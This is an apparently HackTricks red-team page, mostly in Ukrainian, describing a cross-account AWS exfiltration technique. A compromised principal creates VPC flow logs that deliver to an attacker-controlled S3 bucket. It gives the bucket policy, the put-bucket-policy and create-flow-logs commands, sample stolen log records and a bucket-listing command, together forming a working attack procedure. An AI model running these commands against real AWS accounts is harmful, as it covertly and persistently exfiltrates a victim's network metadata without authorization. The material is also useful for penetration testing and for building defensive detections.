AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Резюме

Зловживати ec2:CreateFlowLogs для експорту VPC, subnet або ENI flow logs безпосередньо в S3 bucket, який контролюється зловмисником. Коли роль доставки налаштована на запис у зовнішній bucket, кожне з'єднання, зафіксоване на моніторованому ресурсі, потоково виводиться з облікового запису жертви.

Вимоги

  • Жертва (principal): ec2:CreateFlowLogs, ec2:DescribeFlowLogs, та iam:PassRole (якщо роль доставки потрібна/створюється).
  • Attacker bucket: політика S3, яка довіряє delivery.logs.amazonaws.com з правами s3:PutObject та bucket-owner-full-control.
  • Опціонально: logs:DescribeLogGroups, якщо експортуєте в CloudWatch замість S3 (не потрібно тут).

Хід атаки

  1. Зловмисник готує політику для S3 bucket (в акаунті зловмисника), яка дозволяє службі доставки VPC Flow Logs записувати об'єкти. Замініть заповнювачі перед застосуванням:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Застосувати з облікового запису нападника:

bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) створює flow logs, спрямовані на attacker bucket:
bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

За кілька хвилин у attacker bucket з'являються flow log files, що містять з'єднання для всіх ENIs у монітореному VPC/subnet.

Докази

Приклад записів flow log, записаних у attacker bucket:

text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Доказ переліку Bucket:

bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Вплив

  • Постійна ексфільтрація мережевих метаданих (source/destination IPs, ports, protocols) для моніторованого VPC/subnet/ENI.
  • Дозволяє виконувати аналіз трафіку, ідентифікацію конфіденційних сервісів та потенційний пошук security group misconfigurations ззовні облікового запису жертви.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks